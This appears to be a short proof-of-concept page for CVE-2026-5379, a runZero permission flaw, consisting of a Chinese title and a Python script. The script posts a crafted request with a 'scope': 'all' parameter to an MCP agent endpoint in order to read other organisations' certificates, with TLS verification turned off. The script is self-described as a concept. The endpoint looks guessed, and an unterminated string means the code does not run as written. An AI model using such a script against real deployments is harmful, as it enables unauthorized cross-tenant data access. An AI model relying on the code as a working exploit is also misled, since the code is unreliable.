CVE-2026-5379 runZero平台权限不当导致信息泄露漏洞

# CVE-2026-5379 PoC Concept (RunZero MCP Agent Cert Info Leak) # This script demonstrates how an authenticated MCP agent might access # certificate information outside its authorized scope. import requests def exploit(target_url, auth_token): headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # Simulate a request intended to list certificates within the agent's scope # By manipulating the 'scope_id' or bypassing scope checks, we access other orgs' certs. payload = { "query": "list_certificates", "scope": "all" # Malicious parameter to bypass org restriction } try: response = requests.post(f"{target_url}/api/v1/mcp/execute", json=payload, headers=headers, verify=False) if response.status_code == 200: print("[+] Successfully accessed certificate information:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e} # Usage # exploit("https://target-runzero-instance.com", "HIGH_PRIVILEGE_TOKEN")